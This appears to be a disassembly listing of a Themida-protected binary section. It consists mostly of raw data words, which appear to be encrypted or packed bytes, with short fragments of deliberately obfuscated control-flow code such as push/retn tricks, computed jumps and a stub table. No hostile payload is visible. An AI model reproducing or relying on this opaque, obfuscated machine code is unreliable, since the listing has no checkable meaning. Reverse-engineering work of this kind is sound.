dd 0AF57D718h, 0E0AC7562h, 0D70800BAh, 0ACDEAF57h, 0AF57D76Ch
dd 42EDFD56h, 0D65642D6h, 1B112DFh, 8A000000h, 0F31752FFh
dd 0D6F73355h, 0E5C5AF57h, 0DD15955Eh, 0AF0922A4h, 6ACE633Ch
dd 85FCFB7Eh, 0F63B14E9h, 0A644012Dh, 0D2ACFE78h, 502EC1AAh
dd 58BF72B6h, 0B1E750AFh, 793C51D2h, 84CD6B34h, 0AFE6861Fh
dd 0CDE62902h, 75305D64h, 9706FF28h, 0D9767D26h, 0FFE00E9Ch
dd 1A85135Eh, 0CFF4327Bh, 8E135EFFh, 0F03D7815h, 7D8F0F2Fh
dd 0AF57D73Dh, 0EE332C07h, 0D15E1735h, 7DFCA50Eh, 0B4F8B912h
dd 0D6BCFC0Eh, 0AD86AF57h, 4683A40Bh, 2B7F6825h, 7ACE588h
dd 6EB3FA9Eh, 54D994B5h, 0E6CE78A2h, 0A001B872h, 0AC6AB7F2h
dd 812FAE77h, 6D89892Ah, 6812DF8Ah, 68h, 135EFFB3h, 3A73158Eh
dd 41082CF5h, 682143DCh, 6AF04CBh, 0EEB72477h, 0BF0B46E7h
dd 0F13E7314h, 0AECF0230h, 0B96DBEE3h, 57D70B0Fh, 655EF9AFh
dd 32F35838h, 0DFD4C420h, 75C312h, 0BA640000h, 0D6AEEA1Ch
dd 0BB94AF57h, 0DC91B27Dh, 6FAECE57h, 256C0CCDh, 0DDB6AFF8h
dd 0EA4B2050h, 0BEE42E3h, 0EDC24B86h, 5227851h, 0F31752FFh
dd 5CE10355h, 60CCD191h, 582162A6h, 0C6C204AFh, 0BCAF5820h
dd 93355393h, 0AF582197h, 4FE9C26Dh, 211B1ADCh, 7B61AF58h
dd 7DBBF698h, 211D1D86h, 0EC12DF9Ch, 0BA7CBC6Ah, 71D2A843h
dd 21B98DDh, 16496h, 0FFBF0000h, 4CEA1059h, 57D6FE3Ah
dd 0C885A5AFh, 289B1D36h, 109DD477h, 7FA4ED8Fh, 0D76159E3h
dd 823AF57h, 77BCF597h, 0D75951EBh, 2BAF57h, 444BD4C1h
dd 0E8C16E23h, 3AFBD0FFh, 0CE5C1533h, 4664DF7Dh, 0FFE3A504h
dd 6FB49FB5h, 325697B6h, 9B04827Bh, 521B39F8h, 971C51F1h
dd 0C600AD86h, 0B5FFE3C0h, 0F7FEA70Ch, 26891D54h, 5E14E07h
dd 0DF0E9FF3h, 6DCB192Ch, 45EAA3C2h, 0C1C869C2h, 0FF5FEBA2h
dd 14772B03h, 11CEAh, 0B5E73D00h, 23AED80Eh, 0E1B60007h
dd 1538E936h, 0B6FBBED4h, 0DD1F6D65h, 9B3EFC5Fh, 7CFE64A2h
dd 2A8D1ACDh, 0C06FC998h, 0CD36D49Dh, 0D4B7E1ACh, 0CC89A50Eh
dd 3DE23667h, 47CA571Eh, 0DD7B45EEh, 556FABh, 0BEFA55B6h
dd 8F1B52F1h, 77A8332Fh, 4FDA14h, 0E76D0000h, 0ADDF0BB6h
dd 2F57D74Dh, 57971C37h, 2F57D753h, 39662350h, 0D79F9B2Dh
dd 0CA652F57h, 29763F59h, 0EE6D366Dh, 73723368h, 394367C2h
dd 0AF57D6E1h, 0EB2F5987h, 0D9AF57D6h, 3B143A7Eh, 0C100248Fh
dd 5344E9ACh, 0CB543E7Ah, 79h, 0EB5E7EEh, 0F938B2D8h, 0A5D279B5h
dd 5E313761h, 24B6007Bh, 5EFDA60Bh, 0D309317h, 0A003DF44h
dd 3556B7F2h, 0ED363078h, 59B6007Bh, 0ABCAD152h, 0B1E3A4E2h
dd 7C8585C7h, 0D47FB600h, 0FDBDCFFBh, 0E3BCB091h, 8A175200h
dd 5EF90791h, 642D50D1h, 1293383Fh, 0FC92A113h, 8BAB74B9h
dd 574059C6h, 7A3E487Eh, 6CC360A7h, 1AEE383h, 330DE28h
dd 0D726E2Eh, 7CCA65ABh, 3F59BA57h, 37652276h, 4D1C5E8Ch
dd 9C2C0D2Eh, 45876DCBh, 0B60866C5h, 0D30F94BFh, 9D024FF0h
dd 0E0832C8Ch, 93B21DA9h, 0CC9555DAh, 0E5D4CCF8h, 85A8AF70h
dd 0B6D57ECCh, 5DF1B2FFh, 7F549B18h, 0C58CAFB6h, 0F6BFDE41h
dd 0AC17BDA9h, 0FF3BC386h, 0C5D4CCF8h, 341CE6Ah, 64000000h
dd 58FFCBB0h, 70138C11h, 92BF439h, 2042E340h, 3E5FC06Dh
dd 0D4752E73h, 0E78B1499h, 84A47DA2h, 92BF60CDh, 68FA4AD7h
dd 356Bh, 68240C89h, 4271h, 68240489h, 5F71h, 68243489h
dd 3C15h, 0BD242C89h, 43680780h, 480E23B8h, 5DE801C3h
dd 4EC81h, 24890000h, 24048124h, 4, 8BA525Eh, 81000000h
dd 7A7699EAh, 81F2016Fh, 7A7699C2h, 5A02896Fh, 5324348Bh
dd 0C381E389h, 4, 8704C383h, 8B5C241Ch, 89512404h, 4C181E1h
dd 81000000h, 4C1h, 240C8700h, 6348E95Ch, 0B859FFF8h, 6B019F6h
dd 0E0FFC503h, 7F73DF16h, 38CC2992h, 648ABF10h, 7E3EF39Ah
dd 3AD5097h, 665E5CC2h, 56CD2B14h, 79EFF005h, 2BC988A0h
dd 2250C6DFh, 514F0A7Ch, 1B308D8Dh, 8D8906B0h, 6A805B9h
dd 8286EB81h, 85C7172Fh, 6A81469h, 6D64h, 0D079BE66h, 3451858Bh
dd 85C706A8h, 6A80BBDh, 0
; ---------------------------------------------------------------------------
jo loc_5CB4F6
mov di, 9D39h
loc_5CB4F6: ; CODE XREF: Themida_:005CB4ECj
push dword ptr [ebp+6A8298Dh]
mov [ebp+6A81411h], edi
call dword ptr [ebp+6A820DDh]
push 0
push ebp
call sub_5CB513
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CB513 proc near ; CODE XREF: Themida_:005CB50Bp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Ah
inc ebp
push ebp
retn
sub_5CB513 endp
; ---------------------------------------------------------------------------
push 0E0373B52h
cmp [eax], eax
sub [ebp+6A8149Dh], ebx
mov [ebp+6A825D9h], edi
push 0
call dword ptr [ebp+6A81B31h]
mov eax, eax
jmp short loc_5CB59B
; ---------------------------------------------------------------------------
dw 20B3h
dd 0ADD1EA2Bh, 45D7A44Ch, 0BBFE7529h, 0C5961F40h, 95FFFBD4h
dd 0B272E460h, 9E9C7087h, 491B97B9h, 59367427h, 95A8252h
dd 0D91F29EFh, 60ADFD2Bh, 0F117660Ch, 0ECF46404h, 0E8058C43h
dd 0BDEC4E88h, 0D9BC0D1Fh, 8304169Ah, 9C61F7BCh, 0A42B3AD9h
dd 9D641B84h
db 5Ah, 7Ah, 85h
; ---------------------------------------------------------------------------
loc_5CB59B: ; CODE XREF: Themida_:005CB540j
jmp loc_5CB5C9
; ---------------------------------------------------------------------------
dd 40D06E13h, 9 dup(0)
db 0
; ---------------------------------------------------------------------------
loc_5CB5C9: ; CODE XREF: Themida_:loc_5CB59Bj
jmp loc_5CBB88
; ---------------------------------------------------------------------------
dw 1B3Eh
dd 0C66BD452h, 0FC9C0783h, 0A0CE71B5h, 5DFEA1E5h, 6C0D8A10h
dd 72C885A6h, 0AEFCB1D1h, 982E6705h, 0C95D1437h, 3D7D8F5Dh
dd 7B607F2h, 5CFF5AC1h, 1C55F7D8h, 57D6B6F2h, 7A38CAFh
dd 57D6C5C5h, 0BB94BFAFh, 0C18CAD76h, 0D095BA25h, 0FFB6D253h
dd 87289206h, 23BB4CE4h, 0E7FFB6D2h, 0C7B0F121h, 0F84A8C5Ah
dd 22E86665h, 0DF7E2177h, 0E8E56A77h, 413A3D9Bh, 6B2E43DCh
dd 35FE6FC6h, 0C0460F2Eh, 5CFC3D5Fh, 0EE3C15h, 1B3BFE9Fh
dd 0E7D0C956h, 8F4EEEB1h, 0CC7EA3EEh, 0C3B67BC8h, 87952CFh
dd 96342D64h, 1DDADE68h, 6EA8AF58h, 0D64D690Dh, 2C8C65B8h
dd 2D29A3BFh, 692A2D85h, 9EC06FC9h, 228B4ED3h, 77913F81h
dd 0AF588433h, 1D82CF70h, 0C751FA0Ch, 59F53458h, 79E7231Ch
dd 21C431FFh, 0DABE70Ch, 204283A2h, 2F2F746Dh, 0AF5805E8h
dd 7C8E3452h, 0AF58063Ch, 108B2D06h, 0F997838Fh, 7F7612DFh
dd 8000000h, 66CB86A7h, 0F8D19CBDh, 1280B8C2h, 0E942AF58h
dd 5CFF644Fh, 484E8815h, 5BAF57D7h, 732C7138h, 9B179CD5h
dd 7AF4832Ch, 0CAA6B47Dh, 2D12DFD6h, 1, 0DA52FFF6h, 0EB135AF9h
dd 0AF57D6AFh, 0D71317B1h, 46F1AF57h, 6DB2AB84h, 55DA9FB4h
dd 0C602A6CCh, 0D624B4F0h, 0A0821152h, 5B1ABC56h, 0C5324462h
dd 19CBB563h, 0E4F906Ah, 0BF16200Fh, 0B22B8A79h, 45EAF1h
dd 337A19BAh, 59BAC8F7h, 78277134h, 8C159AD7h, 0BA7DA2E7h
dd 0E3CC9011h, 1AE0A4Fh, 36992D60h, 2A85E17h, 57D6C0F8h
dd 38A982AFh, 0C3D45910h, 0B2DF655h, 0E17BDD42h, 81175EFEh
dd 99C7892Ah, 57D72B6Fh, 0FA3E19AFh, 0DFD4B23Eh, 7D12FD12h
dd 6A42F038h, 0E5000000h, 0F7135EFFh, 0F622670Ch, 2DEC8C15h
dd 0C06D460Fh, 7537F86Dh, 5F9B1FE3h, 45D3D644h, 0DA7CB9DAh
dd 0C768BE97h, 0DD46EBA6h, 0F6AFF4B1h, 0B8FD9154h, 0ADC162CFh
dd 2F844BE8h, 0C2A9F786h, 94955161h, 43B012DFh, 4A000000h
dd 219E9A2Ch, 0CB64AF58h, 5EFF466Dh, 77158E13h, 0D4DFF13Eh
dd 6E23444Bh, 0BDD132D8h, 3662BBF8h, 3959BAEDh, 0BAFE2F74h
dd 0F49558F5h, 9B63C0B9h, 0AF57D79Ch, 2A2889EEh, 12DFD63Eh
dd 1D9h, 59FF6200h, 73129310h, 2872F53Ah, 4CECA5C7h, 21474ED7h
dd 0CB69D268h, 0CB694A70h, 0A6CC1682h, 0D357A354h, 0F65708C8h
dd 86971C59h, 0F175D412h, 294FB5FFh, 0FFF19B9Fh, 18CE69B5h
dd 0FFF0AAEEh, 0C6BF98B5h, 0ECA5C859h, 2E4FB05Eh, 0CB6A3563h
dd 0DBDD1D82h, 0C8B5FFF0h, 0DB44E9A0h, 0A8AFF4BDh, 5D13A203h
dd 2083CD56h, 3DE23673h, 35D3571Eh, 0BFE4A9CAh, 0C665CA6Eh
dd 0E281228Fh, 2A8306ABh, 22E38289h, 0CA50490Ch, 4444862Ch
dd 3EB5FFF1h, 5357F115h, 31B5FFF1h, 2A069206h, 0E51477CCh
dd 0FD0D0DBFh, 5CF7B5FFh, 0FD1C1CAEh, 4DE6B5FFh, 13629EBh
dd 0E7F20000h, 0B2D80EB5h, 57D71008h, 0DF59F2AFh, 6404EF15h
dd 5F97802Dh, 83D32AA3h, 408612BAh, 0B6006301h, 5ACB68C3h
dd 6B54723Bh, 11A87CAh, 0E3822D97h, 0F99C05AAh, 76AC73B0h
dd 3A0ED8Dh, 8C158E2Ah, 1BAFE685h, 775AC7B3h, 632614h
dd 0BAF90000h, 23753859h, 52883364h, 3C7C8E34h, 6AF57D7h
dd 1D7D8B2Dh, 0E72F57D7h, 2367E74Ch, 802F57D7h, 327B1DDCh
dd 5EC3BCEDh, 44E9A4C5h, 8872885h, 9D8C1582h, 7A65813Ch
dd 1F0895D8h, 0D1295399h, 0B3AF57D6h, 8DAB6E10h, 554E5FC4h
dd 9AC02E7Ch, 57D72860h, 99B91AAFh, 0D2BDFBD4h, 84h, 0EB5E7F5h
dd 0ACFAED8h, 9AB5B600h, 0A0E98C15h, 5B9AB91Ah, 0FB2C7138h
dd 7EA3EA8Ah, 73EF342Dh, 0E2EE390h, 0E8C16E47h, 0C7D8640h
dd 0E2C9B600h, 0B31B3A41h, 739761E7h, 9D290289h, 9BB98A2Ah
dd 9E773E5Ah, 0FB2F1811h, 0B07FD841h, 6581AABCh, 692DB7Ah
dd 1059FCA5h, 0BE674C93h, 0F63254F2h, 0CCBCB07Fh, 0C2723563h
dd 0F9274D79h, 0B0804B4Fh, 239F31BCh, 84D2F5DFh, 0B94FE942h
dd 0C3603610h, 0E6CD59F2h, 0D80EB5E7h, 7F2F9AEh, 0BA60CBB6h
dd 0F2AEEA1Ch, 0BB94B607h, 6F508E7Dh, 8E1187C2h, 0DA00A6EFh
dd 8C1154F9h, 0F337739Bh, 220DB607h, 94E60CF6h, 8D35B145h
dd 238C2C2Eh, 62E44900h, 0FC690F09h, 6FB4F99Ah, 355697B6h
dd 9E23B78h, 1257FBA4h, 813E9C8Dh, 0A9029120h, 2B620108h
dd 0F67E14FFh, 690F5454h, 2C052EFCh, 0B8029687h, 99DC7152h
dd 782DE214h, 0B4E1252Dh, 0B3D25DDBh, 46ECB5FAh, 725B9E03h
dd 0C28BAAB1h, 0F1B8DB44h, 2044AFD5h, 2BD3C469h, 0FC690BEFh
dd 4D3E7AD5h, 0DF4h, 59BAD700h, 0FE2F7439h, 73A5E08Dh
dd 58FF78E3h, 70138C11h, 92BF439h, 2042E340h, 3E5FC06Dh
dd 0D4752E73h, 0E78B1499h, 84A47DA2h, 92BF60CDh, 57FA4AD7h
dd 0C781E789h, 4, 4B951h, 0CF290000h, 243C8759h, 0E789575Ch
dd 4C781h, 0EF830000h, 243C8704h, 2434895Ch, 5D268h, 243C8900h
dd 4D97B850h, 0B9513B24h, 10F437Dh, 0A399D3BEh, 59CE293Eh
dd 5458C631h, 81243C8Bh, 4C4h, 4EC8100h, 89000000h, 8B82404h
dd 1000000h, 583089F8h, 57243C8Bh, 0C781E789h, 4, 4C781h
dd 3C870000h, 348B5C24h, 0E1895124h, 4C181h, 0C1830000h
dd 240C8704h, 5C4CE95Ch, 4863FFF8h, 9017CF4Bh
; ---------------------------------------------------------------------------
loc_5CBB88: ; CODE XREF: Themida_:loc_5CB5C9j
mov eax, 6B020E2h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
db 0Fh, 11h, 82h
dd 195B5D75h, 92DBEB13h, 8ED6CC63h, 77697403h, 7504553h
dd 0A740A82Dh, 5161503Eh, 0FF321B5Ah, 0D6CA604Ch, 0F9B3EA23h
dd 5E0FB833h, 7A54353Fh, 0F4E65E0Ah, 99EA7968h, 8CBBBF3Fh
dd 5AFDEB10h, 4FFCE67Ch, 0E1113A5Fh, 2585223Ah, 5F085765h
dd 94EB3526h, 3F4BF355h, 9099AB58h, 0FFB7ED5Ah, 3C866659h
dd 3F3D9626h, 3CB58E13h, 26E96Eh, 9E4A0000h, 74521C2Fh
dd 6C6C416Ch, 7461636Fh, 61654865h, 70h, 14h, 3 dup(0)
; ---------------------------------------------------------------------------
jmp loc_5CCE63
; ---------------------------------------------------------------------------
push 6B02417h
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6B02540h
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6B027DEh
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6B028B3h
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6B02C8Ah
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6B02D32h
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6B02D71h
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6B02E63h
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6B02F50h
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6B02FEDh
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6B0316Dh
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6B032B8h
jmp loc_5517CE
; ---------------------------------------------------------------------------
db 63h, 0C4h, 8Dh
; ---------------------------------------------------------------------------
cmp [esi-3A914307h], edx
mov ds:5FF35CEAh, eax
sbb cl, [ebx+7CFB4F02h]
cmp eax, 0ADF9B4D5h
add ah, [eax+2Dh]
cdq
db 36h
push ss
pop edi
retf
; ---------------------------------------------------------------------------
db 68h
dd 0AE3E8CC5h, 0F90E0ABCh, 0B6F4B607h, 155CFF89h, 3D741788h
dd 0A50D2FF0h, 1C0F844Fh, 5DC2BB7Bh, 6970319Ah, 20690BCAh
dd 15B1AA83h, 7F52C3h, 316722D8h, 0A47E84Bh, 397013BCh
dd 41082BF4h, 57F11FC5h, 0AF58CB53h, 0ACE731h, 9BC4FCAAh
dd 3B176A2h, 95F802B8h, 6FB60046h, 9BBD26C4h, 0DC5C4DD2h
dd 45A7EF6Fh, 68C3B600h, 0BDDFCBC7h, 0C4161477h, 9EFE8680h
dd 0A8CC3D48h, 2085B7E1h, 9E000000h, 0D80EB5E7h, 54FAEh
dd 951A35B6h, 55155h, 1D866DB6h, 77F8211Dh, 0F4C414h, 0BA5F0000h
dd 0DC95B31Ch, 57D6F632h, 5A5EE8AFh, 28AF57D7h, 0BBDCFF0Fh
dd 149B1DF6h, 0C38EB071h, 0CF544D5Eh, 42783556h, 5B4C1B08h
dd 3D5D9C46h, 0B2118770h, 961B52F1h, 83276E0Dh, 0E3357C20h
dd 6E10F319h, 0BADFE23h, 585598FDh, 0C0C4EAFh, 503F4A43h
dd 0B6D55ADEh, 40E8CBFFh, 0BA8ED81h, 0A3F43912h, 1248F75h
dd 0F222EB48h, 0E06B9D49h, 0A2B600A4h, 0BB2C6101h, 0ACFAD396h
dd 0E402B91Bh, 0E1F75BFBh, 737891DAh, 0A8812E07h, 53BCDA00h
dd 0E4357A3Fh, 1C1EB2B4h, 4BE4BCABh, 5E13349Fh, 46C667C8h
dd 0AB1C0404h, 7C55FEBCh, 619F884Ch, 0DAAB08ECh, 0F99h
dd 0B20841E8h, 0ED397C11h, 0DB6F2642h, 0B9FDA78h, 7CCA87A8h
dd 2F50C2F7h, 0DB7B2462h, 8DAF1096h, 0BEDD46C4h, 312BB3F7h
dd 7FB9397h, 0C2B71B6h, 97135EFFh, 0A4C8092Ch, 7E5740EDh
dd 0B5E70328h, 0A9ED80Eh, 61414881h, 749258D0h, 44C016E2h
dd 781A7F5Ch, 913AE624h, 0BE48E0D9h, 0B6008A5Fh, 233AF701h
dd 2E978F38h, 0D426448Ah, 0F8B739C7h, 3B7F8782h, 9B6006Ah
dd 72E8352Eh, 7EBAF391h, 69ACE8h, 0C263C8B6h, 7745C4B0h
dd 0AC10B14h, 8B654855h, 0B9F093F4h, 47F52374h, 0CCh, 5149F319h
dd 33B60062h, 0CCA5EC90h, 5CFF476Ch, 14B2FB9Dh, 57D6B6F2h
dd 0CAA38CAFh, 0D69BBC65h, 0DC648149h, 1C3FAF57h, 9427B155h
dd 30BBC2FAh, 8E74DE5Ah, 0E4490425h, 9BBA65B3h, 68CC4DD2h
dd 469537D3h, 3CB600C5h, 6A0CF713h, 5A1FA27h, 0C4C7C3h
dd 692BDB6h, 12A90BBCh, 63ED52F4h, 79F3BCABh, 374F8C0Fh
dd 0B9F10B81h, 8BBCAB6Bh, 0DF61B7A0h, 0CC6D5674h, 0F99A0581h
dd 4FCA14B4h, 0E9CAEC61h, 0E7018h, 0D198BF00h, 45EA55h
dd 367F19BAh, 66234FF0h, 93DE7F20h, 29E98817h, 5EC14508h
dd 8A35713Ch, 0BC67A3EAh, 0D24AD099h, 0FBBAFE08h, 4288B607h
dd 0EA1CBAE5h, 0AF57D6AEh, 0B27DBB94h, 0E54EDC91h, 9CBB0F46h
dd 0AED85CFFh, 0AF57D76Ah, 9DD47758h, 352E0710h, 400D2E91h
dd 3F59CAE3h, 0E0412276h, 54B6F4BDh, 0AF57D750h, 2D793053h
dd 5AAE382h, 73B0F99Ch, 52DF96B2h, 0B5FAB3D1h, 930247ECh
dd 97FA793Ah, 0CF6E753Eh, 0B8940086h, 5F12DFD6h, 0D4h
dd 0EB5E7E0h, 0FD43AED8h, 0BA25B5FFh, 904ED39Ah, 0FFFD3276h
dd 4E2710B5h, 0A60B24EAh, 7E3B57B8h, 0FCE82C3Ah, 99BBB5FFh
dd 0B2D253D0h, 6EDFB6FBh, 1EA36C5h, 14B6DCA0h, 0B5FFFD14h
dd 47D345EEh, 1477F46Bh, 8BB2h, 9C2E5400h, 0B600059Ch
dd 406BCD66h, 0AEEA1CBAh, 94AF57D6h, 0ACEB7DBBh, 0EFAF57D6h
dd 0B6D0F64Dh, 0B5FFE3FFh, 73DC6AC5h, 89129FD2h, 0E06A902Bh
dd 49E6BE0h, 0AE6372DCh, 396AF8F2h, 345AF09h, 0BCA8DC08h
dd 6AD551FAh, 0C01E83CAh, 0DF089FB6h, 0C270D459h, 1D3DAE87h
dd 5EDAD350h, 91316BC9h, 5FEEC1A8h, 3177416Ch, 0F8D16842h
dd 0A6A1DB0Fh, 0B8C35194h, 0BC52BE3Eh, 0C9FBFDFh, 9153AB64h
dd 46882015h, 0B2D659EDh, 0F1000009h, 0D80EB5E7h, 0DFC6C89Eh
dd 7DAEF3BEh, 8F96F065h, 8EB9C329h, 50B60083h, 8398902Ah
dd 496AB600h, 0EC3D622Bh, 389BA5F3h, 0C6D75C15h, 968FC665h
dd 82C5C109h, 0BCDEB600h, 0E93DA79h, 26FF241Dh, 0AEE24F06h
dd 53DD5CC5h, 4F3B37F8h, 0AE14777Eh, 0Dh, 0D75EA671h, 7CCDAF57h
dd 0FFFFFBC5h, 7D30BA5Fh, 73EFD69h, 86CB6CDDh, 1FA80019h
dd 96E006BDh, 24480A0Ah, 0FF65B357h, 0BDB64Dh, 7EA38CB6h
dd 0BDB8FCh, 0A50ED4B6h, 0F06BCD88h, 3537232Fh, 78D61477h
dd 0A8000005h, 0C16E2B47h, 0C6A7E325h, 0B29DB600h, 0BA545FD9h
dd 27713459h, 0C92AB686h, 81CC6EAFh, 8D120B1Ch, 298B1C9Ch
dd 0A7D27492h, 9DB5FFECh, 7C55183Ah, 0B994E60Ch, 377395EBh
dd 0DB60002h, 8336A822h, 0F57A8524h, 4F389F99h, 7EF61FE9h
dd 7B55FC5h, 0FFE00EBCh, 918A1752h, 8E5AC107h, 0EE28666Dh
dd 19ED5D6Dh, 1BCFB84Fh, 59DF9AB8h, 48F321EAh, 79D6892h
dd 0CC676D19h, 0DF96B51Eh, 65A4C82Bh, 0C918AC3h, 0C9379D1Bh
dd 0AD0B42E6h, 0FE2A6302h, 3BF3B41Ah, 0D2FC4566h, 2100000Bh
dd 58FB4F06h, 87287E3Bh, 0B112A8E1h, 0E142D89Dh, 32B90D40h
dd 0BFF2937Fh, 0EBA6C86Bh, 1950F45Fh, 4A03228Dh, 48F268FCh
dd 0B607FE50h, 0FF4FF432h, 0F88155Ch, 56F016ADh, 0B6000427h
dd 2B94321Dh, 59FA4009h, 6B54723Bh, 0BB2880C9h, 477B3h
dd 143175B6h, 0CA6AB600h, 54335571h, 2EBCA814h, 565E9805h
dd 72BCA814h, 2E1A1899h, 0E11F8FEBh, 30F84297h, 54C42935h
dd 2DA6h, 0B5E77900h, 0EBAED80Eh, 0D9B60004h, 201954F6h
dd 8F396783h, 0B600058Bh, 7F365679h, 0DA00F932h, 568A0h
dd 0A7F15AB6h, 15D8h, 0B5E7F300h, 3BAED80Eh, 9B60009h
dd 7A65812Eh, 1A1390D5h, 5CFF959Eh, 86CCD8F4h, 0D1CA3A2Bh
dd 0B408CB37h, 1DE6C5F9h, 0AFDh, 26642D4Ch, 1195D07Dh
dd 47C38AAEh, 0B7F3B6DCh, 0E0266B0Ch, 9BBC561Bh, 4FEF50D6h
dd 791B8402h, 2A49EA30h, 0A5472763h, 7FF2763h, 70DF1DB6h
dd 0B9C3B5E7h, 0AF57D781h, 0CBFFE843h, 0FFF6BAB1h, 2AF88B5h
dd 9D0682A1h, 3E6FB4F1h, 0FFF79494h, 0ECC56EB5h, 0F00AB05Eh
dd 0B5FFF6B8h, 0F71C1CAEh, 4DE6B5FFh, 0C00692BDh, 0DD4B3145h
dd 4DE2D546h, 7A51FE08h, 11F18201h, 22648238h, 0DD4AFBE6h
dd 491C92DCh, 0C045315Ah, 40FB41D7h, 9B357ECh, 0E3F3D9E2h
dd 355377A0h, 0F3DA9793h, 8C26DE3h, 52E0630h, 0A7049448h
dd 961451FEh, 91DD8735h, 0FB5AC149h, 9DE0FE18h, 5076C145h
dd 771810AAh, 41EAE3F4h, 6D08B268h, 57EA9C77h, 6FB7B7FCh
dd 34EA9C77h, 4DD65B1Eh, 24BE92Ch, 68458429h, 3E848C7h
dd 72A490A2h, 886B299Bh, 0CF0DABE6h, 176h, 0EB5E750h, 3251B2D8h
dd 0B3E5367Bh, 0FFF6B6B5h, 7A38CB5h, 0B5329FD9h, 51ECC220h
dd 171A9h, 0B0F853B6h, 0F23352D3h, 85961B52h, 5AA81C4Dh
dd 0F5EEFF4Fh, 7014BB1h, 0C0A077EAh, 1736F93Fh, 8E09D15Eh
dd 27DD4B67h, 0F0B9DCC7h, 0B1D7C1E6h, 63B54D26h, 7D202788h
dd 0E208F634h, 4BA06058h, 0AF0922DDh, 0F6145D00h, 31CC4164h
dd 71A7F918h, 2ECD4892h, 23880496h, 91D87B82h, 238BAA15h
dd 80A861AAh, 0F9261FB2h, 24E1826Dh, 0C8E14E03h, 99912BDFh
dd 6B04963Bh, 7CDF68C0h, 0C3E721C5h, 8104963Bh, 5B71096h
dd 0D05D1836h, 8E38EEC7h, 0B3E620Fh, 4CD55AF5h, 79DA6029h
dd 0D00E93DAh, 9D024FEFh, 0F6DA2C8Ch, 0F30B3E61h, 0AC1759DAh
dd 0C768C089h, 19A80CA4h, 1DD59CBFh, 9B0CF76Dh, 3D6EB3F6h
dd 0B718C644h, 885EDA97h, 7F922F32h, 3C7C8E34h, 67F922Fh
dd 9B3C8B2Dh, 1A399A20h, 0AFF4BDDBh, 7E61857Eh, 523772DAh
dd 0E9414A27h, 1FCBB8F0h, 0AC5357F1h
dd 0E7317F92h, 0B4F60388h, 0CE6A43F1h, 0D9A2B038h, 0CB54C105h
dd 3F60A1C4h, 3FC2D72h, 0B8791C87h, 9D2FDB96h, 5D9A39Dh
dd 4ED3CC67h, 3C5C6FCDh, 6FF2875h, 800BAE0h, 0FA05D9A3h
dd 0EB1DC751h, 0C81D1CCh, 86099DB6h, 6Ah, 74B91660h, 0A9C90AB9h
dd 23CFCB7Dh, 9AB50C81h, 30BA151Eh, 7DC68898h, 87AB1CAAh
dd 63D156C2h, 8C652C50h, 706D2C5Eh, 0FC57B600h, 0E621ABB7h
dd 76F2940Eh, 5E34BF60h, 0D8593984h, 0E7A2CF50h, 0F5BCE0C3h
dd 53397FA8h, 65284AB5h, 5F8B0533h, 1059FCE7h, 0D8AC0F98h
dd 8E6AAEh, 6FF58B6h, 8E6AA6E0h, 0FF58B600h, 5CFFA483h
dd 314BF115h, 0AF57D6F9h, 0D44E8CBh, 1A9E77A0h, 0CF694AB0h
dd 4D266F0Eh, 43F85CEBh, 0DE7665A7h, 0E34CB5FFh, 0E3E9B5C7h
dd 0DB135E00h, 15B7FDDBh, 0B5FFF015h, 936B44EFh, 8D81E3D1h
dd 668C2C5Fh, 1096DF7Dh, 26C48DAFh, 0E8406AD4h, 43D5DF46h
dd 83F527E0h, 0EE337E20h, 0E1515BDh, 44EFB600h, 0E20DBF6Bh
dd 0A0BCA83Ah, 93355377h, 0BCA83B97h, 0F556C26Dh, 0A84B3175h
dd 0F9CA6ABCh, 893D165Fh, 4AE1D963h, 88A3BCA8h, 339C3A20h
dd 87805A1Fh, 2A12F703h, 16F177A1h, 0ECC350C3h, 181CDE43h
dd 0B4C350C3h, 684456DFh, 0A701273Ah, 0CD52173Ch, 34BE5CDCh
dd 81000000h, 0D80EB5E7h, 0E02738B2h, 781BFA57h, 1AD4E145h
dd 6A9C05C2h, 0AF57E82Eh, 0D6423B14h, 159910h, 63C06BB6h
dd 23E2h, 80F20400h, 0F933FEB9h, 0E74D56C2h, 0AED80EB5h
dd 0B600093Bh, 65812E09h, 4772DA7Ah, 0E7D0373Fh, 0F922766Fh
dd 0F3155CFFh, 0F9B4E409h, 26D3AC0Fh, 75000007h, 0A40F9BD2h
dd 0D37CCA8Fh, 5AEFCB5h, 359E2C69h, 46CD5914h, 0F3BEDF33h
dd 276A0CB7h, 551C40E3h, 86CF6ED1h, 446A400h, 0B6080304h
dd 193B8FEh, 0E65DFF20h, 0ED5386C0h, 0AA15B5FFh, 0C35CC184h
dd 0B8F0E9A0h, 0BD4BBD96h, 7846C7BDh, 531E40A3h, 0A4D242C5h
dd 46C82662h, 5A331C78h, 0F3012AACh, 0A3B91471h, 525DEF75h
dd 307EEE66h, 3A0E98Fh, 2A95312Ah, 76D5430Ah, 0D77107B5h
dd 7EEE65D3h, 79AD86B1h, 96A08ACFh, 34577885h, 7D66847Dh
dd 907397DEh, 8E74A4EDh, 994F0625h, 23761B2Dh, 7E338C2Fh
dd 0CD000006h, 0FCA7E3AAh, 2B941257h, 5DC6440Dh, 8D367431h
dd 9E65A1ECh, 5B1637DBh, 8FC264CFh, 0BDF4983Bh, 0EEA7C669h
dd 0EC1ECC58h, 0B60803ACh, 0FFEB5096h, 0EDF3155Ch, 23F9B4E3h
dd 63F3F80h, 0EB8E0000h, 96BB64A2h, 4CEC57D3h, 701E8105h
dd 2D4EF135h, 1C5DDA60h, 821855F6h, 0FE4C0121h, 287E3755h
dd 19ADE487h, 0ED2D5F8Dh, 0D7B60803h, 5CFFAA91h, 6E0EF115h
dd 0A29FA27h, 0D4CDDE43h, 0F626E744h, 346F994Dh, 2AB607F9h
dd 0B3E5A8C9h, 44092A8Dh, 0C86CDF6Bh, 83295773h, 7F94179h
